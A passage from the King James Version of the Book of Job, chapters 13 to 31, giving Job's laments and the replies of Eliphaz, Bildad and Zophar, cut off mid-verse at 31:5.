remembrances are like unto ashes, your bodies to +bodies of clay. + +13:13 Hold your peace, let me alone, that I may speak, and let come on +me what will. + +13:14 Wherefore do I take my flesh in my teeth, and put my life in +mine hand? 13:15 Though he slay me, yet will I trust in him: but I +will maintain mine own ways before him. + +13:16 He also shall be my salvation: for an hypocrite shall not come +before him. + +13:17 Hear diligently my speech, and my declaration with your ears. + +13:18 Behold now, I have ordered my cause; I know that I shall be +justified. + +13:19 Who is he that will plead with me? for now, if I hold my tongue, +I shall give up the ghost. + +13:20 Only do not two things unto me: then will I not hide myself from +thee. + +13:21 Withdraw thine hand far from me: and let not thy dread make me +afraid. + +13:22 Then call thou, and I will answer: or let me speak, and answer +thou me. + +13:23 How many are mine iniquities and sins? make me to know my +transgression and my sin. + +13:24 Wherefore hidest thou thy face, and holdest me for thine enemy? +13:25 Wilt thou break a leaf driven to and fro? and wilt thou pursue +the dry stubble? 13:26 For thou writest bitter things against me, and +makest me to possess the iniquities of my youth. + +13:27 Thou puttest my feet also in the stocks, and lookest narrowly +unto all my paths; thou settest a print upon the heels of my feet. + +13:28 And he, as a rotten thing, consumeth, as a garment that is moth +eaten. + +14:1 Man that is born of a woman is of few days and full of trouble. + +14:2 He cometh forth like a flower, and is cut down: he fleeth also as +a shadow, and continueth not. + +14:3 And doth thou open thine eyes upon such an one, and bringest me +into judgment with thee? 14:4 Who can bring a clean thing out of an +unclean? not one. + +14:5 Seeing his days are determined, the number of his months are with +thee, thou hast appointed his bounds that he cannot pass; 14:6 Turn +from him, that he may rest, till he shall accomplish, as an hireling, +his day. + +14:7 For there is hope of a tree, if it be cut down, that it will +sprout again, and that the tender branch thereof will not cease. + +14:8 Though the root thereof wax old in the earth, and the stock +thereof die in the ground; 14:9 Yet through the scent of water it will +bud, and bring forth boughs like a plant. + +14:10 But man dieth, and wasteth away: yea, man giveth up the ghost, +and where is he? 14:11 As the waters fail from the sea, and the flood +decayeth and drieth up: 14:12 So man lieth down, and riseth not: till +the heavens be no more, they shall not awake, nor be raised out of +their sleep. + +14:13 O that thou wouldest hide me in the grave, that thou wouldest +keep me secret, until thy wrath be past, that thou wouldest appoint me +a set time, and remember me! 14:14 If a man die, shall he live again? +all the days of my appointed time will I wait, till my change come. + +14:15 Thou shalt call, and I will answer thee: thou wilt have a desire +to the work of thine hands. + +14:16 For now thou numberest my steps: dost thou not watch over my +sin? 14:17 My transgression is sealed up in a bag, and thou sewest up +mine iniquity. + +14:18 And surely the mountains falling cometh to nought, and the rock +is removed out of his place. + +14:19 The waters wear the stones: thou washest away the things which +grow out of the dust of the earth; and thou destroyest the hope of +man. + +14:20 Thou prevailest for ever against him, and he passeth: thou +changest his countenance, and sendest him away. + +14:21 His sons come to honour, and he knoweth it not; and they are +brought low, but he perceiveth it not of them. + +14:22 But his flesh upon him shall have pain, and his soul within him +shall mourn. + +15:1 Then answered Eliphaz the Temanite, and said, 15:2 Should a wise +man utter vain knowledge, and fill his belly with the east wind? 15:3 +Should he reason with unprofitable talk? or with speeches wherewith he +can do no good? 15:4 Yea, thou castest off fear, and restrainest +prayer before God. + +15:5 For thy mouth uttereth thine iniquity, and thou choosest the +tongue of the crafty. + +15:6 Thine own mouth condemneth thee, and not I: yea, thine own lips +testify against thee. + +15:7 Art thou the first man that was born? or wast thou made before +the hills? 15:8 Hast thou heard the secret of God? and dost thou +restrain wisdom to thyself? 15:9 What knowest thou, that we know not? +what understandest thou, which is not in us? 15:10 With us are both +the grayheaded and very aged men, much elder than thy father. + +15:11 Are the consolations of God small with thee? is there any secret +thing with thee? 15:12 Why doth thine heart carry thee away? and what +do thy eyes wink at, 15:13 That thou turnest thy spirit against God, +and lettest such words go out of thy mouth? 15:14 What is man, that +he should be clean? and he which is born of a woman, that he should be +righteous? 15:15 Behold, he putteth no trust in his saints; yea, the +heavens are not clean in his sight. + +15:16 How much more abominable and filthy is man, which drinketh +iniquity like water? 15:17 I will shew thee, hear me; and that which +I have seen I will declare; 15:18 Which wise men have told from their +fathers, and have not hid it: 15:19 Unto whom alone the earth was +given, and no stranger passed among them. + +15:20 The wicked man travaileth with pain all his days, and the number +of years is hidden to the oppressor. + +15:21 A dreadful sound is in his ears: in prosperity the destroyer +shall come upon him. + +15:22 He believeth not that he shall return out of darkness, and he is +waited for of the sword. + +15:23 He wandereth abroad for bread, saying, Where is it? he knoweth +that the day of darkness is ready at his hand. + +15:24 Trouble and anguish shall make him afraid; they shall prevail +against him, as a king ready to the battle. + +15:25 For he stretcheth out his hand against God, and strengtheneth +himself against the Almighty. + +15:26 He runneth upon him, even on his neck, upon the thick bosses of +his bucklers: 15:27 Because he covereth his face with his fatness, and +maketh collops of fat on his flanks. + +15:28 And he dwelleth in desolate cities, and in houses which no man +inhabiteth, which are ready to become heaps. + +15:29 He shall not be rich, neither shall his substance continue, +neither shall he prolong the perfection thereof upon the earth. + +15:30 He shall not depart out of darkness; the flame shall dry up his +branches, and by the breath of his mouth shall he go away. + +15:31 Let not him that is deceived trust in vanity: for vanity shall +be his recompence. + +15:32 It shall be accomplished before his time, and his branch shall +not be green. + +15:33 He shall shake off his unripe grape as the vine, and shall cast +off his flower as the olive. + +15:34 For the congregation of hypocrites shall be desolate, and fire +shall consume the tabernacles of bribery. + +15:35 They conceive mischief, and bring forth vanity, and their belly +prepareth deceit. + +16:1 Then Job answered and said, 16:2 I have heard many such things: +miserable comforters are ye all. + +16:3 Shall vain words have an end? or what emboldeneth thee that thou +answerest? 16:4 I also could speak as ye do: if your soul were in my +soul's stead, I could heap up words against you, and shake mine head +at you. + +16:5 But I would strengthen you with my mouth, and the moving of my +lips should asswage your grief. + +16:6 Though I speak, my grief is not asswaged: and though I forbear, +what am I eased? 16:7 But now he hath made me weary: thou hast made +desolate all my company. + +16:8 And thou hast filled me with wrinkles, which is a witness against +me: and my leanness rising up in me beareth witness to my face. + +16:9 He teareth me in his wrath, who hateth me: he gnasheth upon me +with his teeth; mine enemy sharpeneth his eyes upon me. + +16:10 They have gaped upon me with their mouth; they have smitten me +upon the cheek reproachfully; they have gathered themselves together +against me. + +16:11 God hath delivered me to the ungodly, and turned me over into +the hands of the wicked. + +16:12 I was at ease, but he hath broken me asunder: he hath also taken +me by my neck, and shaken me to pieces, and set me up for his mark. + +16:13 His archers compass me round about, he cleaveth my reins +asunder, and doth not spare; he poureth out my gall upon the ground. + +16:14 He breaketh me with breach upon breach, he runneth upon me like +a giant. + +16:15 I have sewed sackcloth upon my skin, and defiled my horn in the +dust. + +16:16 My face is foul with weeping, and on my eyelids is the shadow of +death; 16:17 Not for any injustice in mine hands: also my prayer is +pure. + +16:18 O earth, cover not thou my blood, and let my cry have no place. + +16:19 Also now, behold, my witness is in heaven, and my record is on +high. + +16:20 My friends scorn me: but mine eye poureth out tears unto God. + +16:21 O that one might plead for a man with God, as a man pleadeth for +his neighbour! 16:22 When a few years are come, then I shall go the +way whence I shall not return. + +17:1 My breath is corrupt, my days are extinct, the graves are ready +for me. + +17:2 Are there not mockers with me? and doth not mine eye continue in +their provocation? 17:3 Lay down now, put me in a surety with thee; +who is he that will strike hands with me? 17:4 For thou hast hid +their heart from understanding: therefore shalt thou not exalt them. + +17:5 He that speaketh flattery to his friends, even the eyes of his +children shall fail. + +17:6 He hath made me also a byword of the people; and aforetime I was +as a tabret. + +17:7 Mine eye also is dim by reason of sorrow, and all my members are +as a shadow. + +17:8 Upright men shall be astonied at this, and the innocent shall +stir up himself against the hypocrite. + +17:9 The righteous also shall hold on his way, and he that hath clean +hands shall be stronger and stronger. + +17:10 But as for you all, do ye return, and come now: for I cannot +find one wise man among you. + +17:11 My days are past, my purposes are broken off, even the thoughts +of my heart. + +17:12 They change the night into day: the light is short because of +darkness. + +17:13 If I wait, the grave is mine house: I have made my bed in the +darkness. + +17:14 I have said to corruption, Thou art my father: to the worm, Thou +art my mother, and my sister. + +17:15 And where is now my hope? as for my hope, who shall see it? +17:16 They shall go down to the bars of the pit, when our rest +together is in the dust. + +18:1 Then answered Bildad the Shuhite, and said, 18:2 How long will it +be ere ye make an end of words? mark, and afterwards we will speak. + +18:3 Wherefore are we counted as beasts, and reputed vile in your +sight? 18:4 He teareth himself in his anger: shall the earth be +forsaken for thee? and shall the rock be removed out of his place? +18:5 Yea, the light of the wicked shall be put out, and the spark of +his fire shall not shine. + +18:6 The light shall be dark in his tabernacle, and his candle shall +be put out with him. + +18:7 The steps of his strength shall be straitened, and his own +counsel shall cast him down. + +18:8 For he is cast into a net by his own feet, and he walketh upon a +snare. + +18:9 The gin shall take him by the heel, and the robber shall prevail +against him. + +18:10 The snare is laid for him in the ground, and a trap for him in +the way. + +18:11 Terrors shall make him afraid on every side, and shall drive him +to his feet. + +18:12 His strength shall be hungerbitten, and destruction shall be +ready at his side. + +18:13 It shall devour the strength of his skin: even the firstborn of +death shall devour his strength. + +18:14 His confidence shall be rooted out of his tabernacle, and it +shall bring him to the king of terrors. + +18:15 It shall dwell in his tabernacle, because it is none of his: +brimstone shall be scattered upon his habitation. + +18:16 His roots shall be dried up beneath, and above shall his branch +be cut off. + +18:17 His remembrance shall perish from the earth, and he shall have +no name in the street. + +18:18 He shall be driven from light into darkness, and chased out of +the world. + +18:19 He shall neither have son nor nephew among his people, nor any +remaining in his dwellings. + +18:20 They that come after him shall be astonied at his day, as they +that went before were affrighted. + +18:21 Surely such are the dwellings of the wicked, and this is the +place of him that knoweth not God. + +19:1 Then Job answered and said, 19:2 How long will ye vex my soul, +and break me in pieces with words? 19:3 These ten times have ye +reproached me: ye are not ashamed that ye make yourselves strange to +me. + +19:4 And be it indeed that I have erred, mine error remaineth with +myself. + +19:5 If indeed ye will magnify yourselves against me, and plead +against me my reproach: 19:6 Know now that God hath overthrown me, and +hath compassed me with his net. + +19:7 Behold, I cry out of wrong, but I am not heard: I cry aloud, but +there is no judgment. + +19:8 He hath fenced up my way that I cannot pass, and he hath set +darkness in my paths. + +19:9 He hath stripped me of my glory, and taken the crown from my +head. + +19:10 He hath destroyed me on every side, and I am gone: and mine hope +hath he removed like a tree. + +19:11 He hath also kindled his wrath against me, and he counteth me +unto him as one of his enemies. + +19:12 His troops come together, and raise up their way against me, and +encamp round about my tabernacle. + +19:13 He hath put my brethren far from me, and mine acquaintance are +verily estranged from me. + +19:14 My kinsfolk have failed, and my familiar friends have forgotten +me. + +19:15 They that dwell in mine house, and my maids, count me for a +stranger: I am an alien in their sight. + +19:16 I called my servant, and he gave me no answer; I intreated him +with my mouth. + +19:17 My breath is strange to my wife, though I intreated for the +children's sake of mine own body. + +19:18 Yea, young children despised me; I arose, and they spake against +me. + +19:19 All my inward friends abhorred me: and they whom I loved are +turned against me. + +19:20 My bone cleaveth to my skin and to my flesh, and I am escaped +with the skin of my teeth. + +19:21 Have pity upon me, have pity upon me, O ye my friends; for the +hand of God hath touched me. + +19:22 Why do ye persecute me as God, and are not satisfied with my +flesh? 19:23 Oh that my words were now written! oh that they were +printed in a book! 19:24 That they were graven with an iron pen and +lead in the rock for ever! 19:25 For I know that my redeemer liveth, +and that he shall stand at the latter day upon the earth: 19:26 And +though after my skin worms destroy this body, yet in my flesh shall I +see God: 19:27 Whom I shall see for myself, and mine eyes shall +behold, and not another; though my reins be consumed within me. + +19:28 But ye should say, Why persecute we him, seeing the root of the +matter is found in me? 19:29 Be ye afraid of the sword: for wrath +bringeth the punishments of the sword, that ye may know there is a +judgment. + +20:1 Then answered Zophar the Naamathite, and said, 20:2 Therefore do +my thoughts cause me to answer, and for this I make haste. + +20:3 I have heard the check of my reproach, and the spirit of my +understanding causeth me to answer. + +20:4 Knowest thou not this of old, since man was placed upon earth, +20:5 That the triumphing of the wicked is short, and the joy of the +hypocrite but for a moment? 20:6 Though his excellency mount up to +the heavens, and his head reach unto the clouds; 20:7 Yet he shall +perish for ever like his own dung: they which have seen him shall say, +Where is he? 20:8 He shall fly away as a dream, and shall not be +found: yea, he shall be chased away as a vision of the night. + +20:9 The eye also which saw him shall see him no more; neither shall +his place any more behold him. + +20:10 His children shall seek to please the poor, and his hands shall +restore their goods. + +20:11 His bones are full of the sin of his youth, which shall lie down +with him in the dust. + +20:12 Though wickedness be sweet in his mouth, though he hide it under +his tongue; 20:13 Though he spare it, and forsake it not; but keep it +still within his mouth: 20:14 Yet his meat in his bowels is turned, it +is the gall of asps within him. + +20:15 He hath swallowed down riches, and he shall vomit them up again: +God shall cast them out of his belly. + +20:16 He shall suck the poison of asps: the viper's tongue shall slay +him. + +20:17 He shall not see the rivers, the floods, the brooks of honey and +butter. + +20:18 That which he laboured for shall he restore, and shall not +swallow it down: according to his substance shall the restitution be, +and he shall not rejoice therein. + +20:19 Because he hath oppressed and hath forsaken the poor; because he +hath violently taken away an house which he builded not; 20:20 Surely +he shall not feel quietness in his belly, he shall not save of that +which he desired. + +20:21 There shall none of his meat be left; therefore shall no man +look for his goods. + +20:22 In the fulness of his sufficiency he shall be in straits: every +hand of the wicked shall come upon him. + +20:23 When he is about to fill his belly, God shall cast the fury of +his wrath upon him, and shall rain it upon him while he is eating. + +20:24 He shall flee from the iron weapon, and the bow of steel shall +strike him through. + +20:25 It is drawn, and cometh out of the body; yea, the glittering +sword cometh out of his gall: terrors are upon him. + +20:26 All darkness shall be hid in his secret places: a fire not blown +shall consume him; it shall go ill with him that is left in his +tabernacle. + +20:27 The heaven shall reveal his iniquity; and the earth shall rise +up against him. + +20:28 The increase of his house shall depart, and his goods shall flow +away in the day of his wrath. + +20:29 This is the portion of a wicked man from God, and the heritage +appointed unto him by God. + +21:1 But Job answered and said, 21:2 Hear diligently my speech, and +let this be your consolations. + +21:3 Suffer me that I may speak; and after that I have spoken, mock +on. + +21:4 As for me, is my complaint to man? and if it were so, why should +not my spirit be troubled? 21:5 Mark me, and be astonished, and lay +your hand upon your mouth. + +21:6 Even when I remember I am afraid, and trembling taketh hold on my +flesh. + +21:7 Wherefore do the wicked live, become old, yea, are mighty in +power? 21:8 Their seed is established in their sight with them, and +their offspring before their eyes. + +21:9 Their houses are safe from fear, neither is the rod of God upon +them. + +21:10 Their bull gendereth, and faileth not; their cow calveth, and +casteth not her calf. + +21:11 They send forth their little ones like a flock, and their +children dance. + +21:12 They take the timbrel and harp, and rejoice at the sound of the +organ. + +21:13 They spend their days in wealth, and in a moment go down to the +grave. + +21:14 Therefore they say unto God, Depart from us; for we desire not +the knowledge of thy ways. + +21:15 What is the Almighty, that we should serve him? and what profit +should we have, if we pray unto him? 21:16 Lo, their good is not in +their hand: the counsel of the wicked is far from me. + +21:17 How oft is the candle of the wicked put out! and how oft cometh +their destruction upon them! God distributeth sorrows in his anger. + +21:18 They are as stubble before the wind, and as chaff that the storm +carrieth away. + +21:19 God layeth up his iniquity for his children: he rewardeth him, +and he shall know it. + +21:20 His eyes shall see his destruction, and he shall drink of the +wrath of the Almighty. + +21:21 For what pleasure hath he in his house after him, when the +number of his months is cut off in the midst? 21:22 Shall any teach +God knowledge? seeing he judgeth those that are high. + +21:23 One dieth in his full strength, being wholly at ease and quiet. + +21:24 His breasts are full of milk, and his bones are moistened with +marrow. + +21:25 And another dieth in the bitterness of his soul, and never +eateth with pleasure. + +21:26 They shall lie down alike in the dust, and the worms shall cover +them. + +21:27 Behold, I know your thoughts, and the devices which ye +wrongfully imagine against me. + +21:28 For ye say, Where is the house of the prince? and where are the +dwelling places of the wicked? 21:29 Have ye not asked them that go +by the way? and do ye not know their tokens, 21:30 That the wicked is +reserved to the day of destruction? they shall be brought forth to the +day of wrath. + +21:31 Who shall declare his way to his face? and who shall repay him +what he hath done? 21:32 Yet shall he be brought to the grave, and +shall remain in the tomb. + +21:33 The clods of the valley shall be sweet unto him, and every man +shall draw after him, as there are innumerable before him. + +21:34 How then comfort ye me in vain, seeing in your answers there +remaineth falsehood? 22:1 Then Eliphaz the Temanite answered and +said, 22:2 Can a man be profitable unto God, as he that is wise may be +profitable unto himself? 22:3 Is it any pleasure to the Almighty, +that thou art righteous? or is it gain to him, that thou makest thy +ways perfect? 22:4 Will he reprove thee for fear of thee? will he +enter with thee into judgment? 22:5 Is not thy wickedness great? and +thine iniquities infinite? 22:6 For thou hast taken a pledge from thy +brother for nought, and stripped the naked of their clothing. + +22:7 Thou hast not given water to the weary to drink, and thou hast +withholden bread from the hungry. + +22:8 But as for the mighty man, he had the earth; and the honourable +man dwelt in it. + +22:9 Thou hast sent widows away empty, and the arms of the fatherless +have been broken. + +22:10 Therefore snares are round about thee, and sudden fear troubleth +thee; 22:11 Or darkness, that thou canst not see; and abundance of +waters cover thee. + +22:12 Is not God in the height of heaven? and behold the height of the +stars, how high they are! 22:13 And thou sayest, How doth God know? +can he judge through the dark cloud? 22:14 Thick clouds are a +covering to him, that he seeth not; and he walketh in the circuit of +heaven. + +22:15 Hast thou marked the old way which wicked men have trodden? +22:16 Which were cut down out of time, whose foundation was overflown +with a flood: 22:17 Which said unto God, Depart from us: and what can +the Almighty do for them? 22:18 Yet he filled their houses with good +things: but the counsel of the wicked is far from me. + +22:19 The righteous see it, and are glad: and the innocent laugh them +to scorn. + +22:20 Whereas our substance is not cut down, but the remnant of them +the fire consumeth. + +22:21 Acquaint now thyself with him, and be at peace: thereby good +shall come unto thee. + +22:22 Receive, I pray thee, the law from his mouth, and lay up his +words in thine heart. + +22:23 If thou return to the Almighty, thou shalt be built up, thou +shalt put away iniquity far from thy tabernacles. + +22:24 Then shalt thou lay up gold as dust, and the gold of Ophir as +the stones of the brooks. + +22:25 Yea, the Almighty shall be thy defence, and thou shalt have +plenty of silver. + +22:26 For then shalt thou have thy delight in the Almighty, and shalt +lift up thy face unto God. + +22:27 Thou shalt make thy prayer unto him, and he shall hear thee, and +thou shalt pay thy vows. + +22:28 Thou shalt also decree a thing, and it shall be established unto +thee: and the light shall shine upon thy ways. + +22:29 When men are cast down, then thou shalt say, There is lifting +up; and he shall save the humble person. + +22:30 He shall deliver the island of the innocent: and it is delivered +by the pureness of thine hands. + +23:1 Then Job answered and said, 23:2 Even to day is my complaint +bitter: my stroke is heavier than my groaning. + +23:3 Oh that I knew where I might find him! that I might come even to +his seat! 23:4 I would order my cause before him, and fill my mouth +with arguments. + +23:5 I would know the words which he would answer me, and understand +what he would say unto me. + +23:6 Will he plead against me with his great power? No; but he would +put strength in me. + +23:7 There the righteous might dispute with him; so should I be +delivered for ever from my judge. + +23:8 Behold, I go forward, but he is not there; and backward, but I +cannot perceive him: 23:9 On the left hand, where he doth work, but I +cannot behold him: he hideth himself on the right hand, that I cannot +see him: 23:10 But he knoweth the way that I take: when he hath tried +me, I shall come forth as gold. + +23:11 My foot hath held his steps, his way have I kept, and not +declined. + +23:12 Neither have I gone back from the commandment of his lips; I +have esteemed the words of his mouth more than my necessary food. + +23:13 But he is in one mind, and who can turn him? and what his soul +desireth, even that he doeth. + +23:14 For he performeth the thing that is appointed for me: and many +such things are with him. + +23:15 Therefore am I troubled at his presence: when I consider, I am +afraid of him. + +23:16 For God maketh my heart soft, and the Almighty troubleth me: +23:17 Because I was not cut off before the darkness, neither hath he +covered the darkness from my face. + +24:1 Why, seeing times are not hidden from the Almighty, do they that +know him not see his days? 24:2 Some remove the landmarks; they +violently take away flocks, and feed thereof. + +24:3 They drive away the ass of the fatherless, they take the widow's +ox for a pledge. + +24:4 They turn the needy out of the way: the poor of the earth hide +themselves together. + +24:5 Behold, as wild asses in the desert, go they forth to their work; +rising betimes for a prey: the wilderness yieldeth food for them and +for their children. + +24:6 They reap every one his corn in the field: and they gather the +vintage of the wicked. + +24:7 They cause the naked to lodge without clothing, that they have no +covering in the cold. + +24:8 They are wet with the showers of the mountains, and embrace the +rock for want of a shelter. + +24:9 They pluck the fatherless from the breast, and take a pledge of +the poor. + +24:10 They cause him to go naked without clothing, and they take away +the sheaf from the hungry; 24:11 Which make oil within their walls, +and tread their winepresses, and suffer thirst. + +24:12 Men groan from out of the city, and the soul of the wounded +crieth out: yet God layeth not folly to them. + +24:13 They are of those that rebel against the light; they know not +the ways thereof, nor abide in the paths thereof. + +24:14 The murderer rising with the light killeth the poor and needy, +and in the night is as a thief. + +24:15 The eye also of the adulterer waiteth for the twilight, saying, +No eye shall see me: and disguiseth his face. + +24:16 In the dark they dig through houses, which they had marked for +themselves in the daytime: they know not the light. + +24:17 For the morning is to them even as the shadow of death: if one +know them, they are in the terrors of the shadow of death. + +24:18 He is swift as the waters; their portion is cursed in the earth: +he beholdeth not the way of the vineyards. + +24:19 Drought and heat consume the snow waters: so doth the grave +those which have sinned. + +24:20 The womb shall forget him; the worm shall feed sweetly on him; +he shall be no more remembered; and wickedness shall be broken as a +tree. + +24:21 He evil entreateth the barren that beareth not: and doeth not +good to the widow. + +24:22 He draweth also the mighty with his power: he riseth up, and no +man is sure of life. + +24:23 Though it be given him to be in safety, whereon he resteth; yet +his eyes are upon their ways. + +24:24 They are exalted for a little while, but are gone and brought +low; they are taken out of the way as all other, and cut off as the +tops of the ears of corn. + +24:25 And if it be not so now, who will make me a liar, and make my +speech nothing worth? 25:1 Then answered Bildad the Shuhite, and +said, 25:2 Dominion and fear are with him, he maketh peace in his high +places. + +25:3 Is there any number of his armies? and upon whom doth not his +light arise? 25:4 How then can man be justified with God? or how can +he be clean that is born of a woman? 25:5 Behold even to the moon, +and it shineth not; yea, the stars are not pure in his sight. + +25:6 How much less man, that is a worm? and the son of man, which is a +worm? 26:1 But Job answered and said, 26:2 How hast thou helped him +that is without power? how savest thou the arm that hath no strength? +26:3 How hast thou counselled him that hath no wisdom? and how hast +thou plentifully declared the thing as it is? 26:4 To whom hast thou +uttered words? and whose spirit came from thee? 26:5 Dead things are +formed from under the waters, and the inhabitants thereof. + +26:6 Hell is naked before him, and destruction hath no covering. + +26:7 He stretcheth out the north over the empty place, and hangeth the +earth upon nothing. + +26:8 He bindeth up the waters in his thick clouds; and the cloud is +not rent under them. + +26:9 He holdeth back the face of his throne, and spreadeth his cloud +upon it. + +26:10 He hath compassed the waters with bounds, until the day and +night come to an end. + +26:11 The pillars of heaven tremble and are astonished at his reproof. + +26:12 He divideth the sea with his power, and by his understanding he +smiteth through the proud. + +26:13 By his spirit he hath garnished the heavens; his hand hath +formed the crooked serpent. + +26:14 Lo, these are parts of his ways: but how little a portion is +heard of him? but the thunder of his power who can understand? 27:1 +Moreover Job continued his parable, and said, 27:2 As God liveth, who +hath taken away my judgment; and the Almighty, who hath vexed my soul; +27:3 All the while my breath is in me, and the spirit of God is in my +nostrils; 27:4 My lips shall not speak wickedness, nor my tongue utter +deceit. + +27:5 God forbid that I should justify you: till I die I will not +remove mine integrity from me. + +27:6 My righteousness I hold fast, and will not let it go: my heart +shall not reproach me so long as I live. + +27:7 Let mine enemy be as the wicked, and he that riseth up against me +as the unrighteous. + +27:8 For what is the hope of the hypocrite, though he hath gained, +when God taketh away his soul? 27:9 Will God hear his cry when +trouble cometh upon him? 27:10 Will he delight himself in the +Almighty? will he always call upon God? 27:11 I will teach you by the +hand of God: that which is with the Almighty will I not conceal. + +27:12 Behold, all ye yourselves have seen it; why then are ye thus +altogether vain? 27:13 This is the portion of a wicked man with God, +and the heritage of oppressors, which they shall receive of the +Almighty. + +27:14 If his children be multiplied, it is for the sword: and his +offspring shall not be satisfied with bread. + +27:15 Those that remain of him shall be buried in death: and his +widows shall not weep. + +27:16 Though he heap up silver as the dust, and prepare raiment as the +clay; 27:17 He may prepare it, but the just shall put it on, and the +innocent shall divide the silver. + +27:18 He buildeth his house as a moth, and as a booth that the keeper +maketh. + +27:19 The rich man shall lie down, but he shall not be gathered: he +openeth his eyes, and he is not. + +27:20 Terrors take hold on him as waters, a tempest stealeth him away +in the night. + +27:21 The east wind carrieth him away, and he departeth: and as a +storm hurleth him out of his place. + +27:22 For God shall cast upon him, and not spare: he would fain flee +out of his hand. + +27:23 Men shall clap their hands at him, and shall hiss him out of his +place. + +28:1 Surely there is a vein for the silver, and a place for gold where +they fine it. + +28:2 Iron is taken out of the earth, and brass is molten out of the +stone. + +28:3 He setteth an end to darkness, and searcheth out all perfection: +the stones of darkness, and the shadow of death. + +28:4 The flood breaketh out from the inhabitant; even the waters +forgotten of the foot: they are dried up, they are gone away from men. + +28:5 As for the earth, out of it cometh bread: and under it is turned +up as it were fire. + +28:6 The stones of it are the place of sapphires: and it hath dust of +gold. + +28:7 There is a path which no fowl knoweth, and which the vulture's +eye hath not seen: 28:8 The lion's whelps have not trodden it, nor the +fierce lion passed by it. + +28:9 He putteth forth his hand upon the rock; he overturneth the +mountains by the roots. + +28:10 He cutteth out rivers among the rocks; and his eye seeth every +precious thing. + +28:11 He bindeth the floods from overflowing; and the thing that is +hid bringeth he forth to light. + +28:12 But where shall wisdom be found? and where is the place of +understanding? 28:13 Man knoweth not the price thereof; neither is it +found in the land of the living. + +28:14 The depth saith, It is not in me: and the sea saith, It is not +with me. + +28:15 It cannot be gotten for gold, neither shall silver be weighed +for the price thereof. + +28:16 It cannot be valued with the gold of Ophir, with the precious +onyx, or the sapphire. + +28:17 The gold and the crystal cannot equal it: and the exchange of it +shall not be for jewels of fine gold. + +28:18 No mention shall be made of coral, or of pearls: for the price +of wisdom is above rubies. + +28:19 The topaz of Ethiopia shall not equal it, neither shall it be +valued with pure gold. + +28:20 Whence then cometh wisdom? and where is the place of +understanding? 28:21 Seeing it is hid from the eyes of all living, +and kept close from the fowls of the air. + +28:22 Destruction and death say, We have heard the fame thereof with +our ears. + +28:23 God understandeth the way thereof, and he knoweth the place +thereof. + +28:24 For he looketh to the ends of the earth, and seeth under the +whole heaven; 28:25 To make the weight for the winds; and he weigheth +the waters by measure. + +28:26 When he made a decree for the rain, and a way for the lightning +of the thunder: 28:27 Then did he see it, and declare it; he prepared +it, yea, and searched it out. + +28:28 And unto man he said, Behold, the fear of the LORD, that is +wisdom; and to depart from evil is understanding. + +29:1 Moreover Job continued his parable, and said, 29:2 Oh that I were +as in months past, as in the days when God preserved me; 29:3 When his +candle shined upon my head, and when by his light I walked through +darkness; 29:4 As I was in the days of my youth, when the secret of +God was upon my tabernacle; 29:5 When the Almighty was yet with me, +when my children were about me; 29:6 When I washed my steps with +butter, and the rock poured me out rivers of oil; 29:7 When I went out +to the gate through the city, when I prepared my seat in the street! +29:8 The young men saw me, and hid themselves: and the aged arose, and +stood up. + +29:9 The princes refrained talking, and laid their hand on their +mouth. + +29:10 The nobles held their peace, and their tongue cleaved to the +roof of their mouth. + +29:11 When the ear heard me, then it blessed me; and when the eye saw +me, it gave witness to me: 29:12 Because I delivered the poor that +cried, and the fatherless, and him that had none to help him. + +29:13 The blessing of him that was ready to perish came upon me: and I +caused the widow's heart to sing for joy. + +29:14 I put on righteousness, and it clothed me: my judgment was as a +robe and a diadem. + +29:15 I was eyes to the blind, and feet was I to the lame. + +29:16 I was a father to the poor: and the cause which I knew not I +searched out. + +29:17 And I brake the jaws of the wicked, and plucked the spoil out of +his teeth. + +29:18 Then I said, I shall die in my nest, and I shall multiply my +days as the sand. + +29:19 My root was spread out by the waters, and the dew lay all night +upon my branch. + +29:20 My glory was fresh in me, and my bow was renewed in my hand. + +29:21 Unto me men gave ear, and waited, and kept silence at my +counsel. + +29:22 After my words they spake not again; and my speech dropped upon +them. + +29:23 And they waited for me as for the rain; and they opened their +mouth wide as for the latter rain. + +29:24 If I laughed on them, they believed it not; and the light of my +countenance they cast not down. + +29:25 I chose out their way, and sat chief, and dwelt as a king in the +army, as one that comforteth the mourners. + +30:1 But now they that are younger than I have me in derision, whose +fathers I would have disdained to have set with the dogs of my flock. + +30:2 Yea, whereto might the strength of their hands profit me, in whom +old age was perished? 30:3 For want and famine they were solitary; +fleeing into the wilderness in former time desolate and waste. + +30:4 Who cut up mallows by the bushes, and juniper roots for their +meat. + +30:5 They were driven forth from among men, (they cried after them as +after a thief;) 30:6 To dwell in the cliffs of the valleys, in caves +of the earth, and in the rocks. + +30:7 Among the bushes they brayed; under the nettles they were +gathered together. + +30:8 They were children of fools, yea, children of base men: they were +viler than the earth. + +30:9 And now am I their song, yea, I am their byword. + +30:10 They abhor me, they flee far from me, and spare not to spit in +my face. + +30:11 Because he hath loosed my cord, and afflicted me, they have also +let loose the bridle before me. + +30:12 Upon my right hand rise the youth; they push away my feet, and +they raise up against me the ways of their destruction. + +30:13 They mar my path, they set forward my calamity, they have no +helper. + +30:14 They came upon me as a wide breaking in of waters: in the +desolation they rolled themselves upon me. + +30:15 Terrors are turned upon me: they pursue my soul as the wind: and +my welfare passeth away as a cloud. + +30:16 And now my soul is poured out upon me; the days of affliction +have taken hold upon me. + +30:17 My bones are pierced in me in the night season: and my sinews +take no rest. + +30:18 By the great force of my disease is my garment changed: it +bindeth me about as the collar of my coat. + +30:19 He hath cast me into the mire, and I am become like dust and +ashes. + +30:20 I cry unto thee, and thou dost not hear me: I stand up, and thou +regardest me not. + +30:21 Thou art become cruel to me: with thy strong hand thou opposest +thyself against me. + +30:22 Thou liftest me up to the wind; thou causest me to ride upon it, +and dissolvest my substance. + +30:23 For I know that thou wilt bring me to death, and to the house +appointed for all living. + +30:24 Howbeit he will not stretch out his hand to the grave, though +they cry in his destruction. + +30:25 Did not I weep for him that was in trouble? was not my soul +grieved for the poor? 30:26 When I looked for good, then evil came +unto me: and when I waited for light, there came darkness. + +30:27 My bowels boiled, and rested not: the days of affliction +prevented me. + +30:28 I went mourning without the sun: I stood up, and I cried in the +congregation. + +30:29 I am a brother to dragons, and a companion to owls. + +30:30 My skin is black upon me, and my bones are burned with heat. + +30:31 My harp also is turned to mourning, and my organ into the voice +of them that weep. + +31:1 I made a covenant with mine eyes; why then should I think upon a +maid? 31:2 For what portion of God is there from above? and what +inheritance of the Almighty from on high? 31:3 Is not destruction to +the wicked? and a strange punishment to the workers of iniquity? 31:4 +Doth not he see my ways, and count all my steps? 31:5 If I have +walked with vanity, or if my foot hath 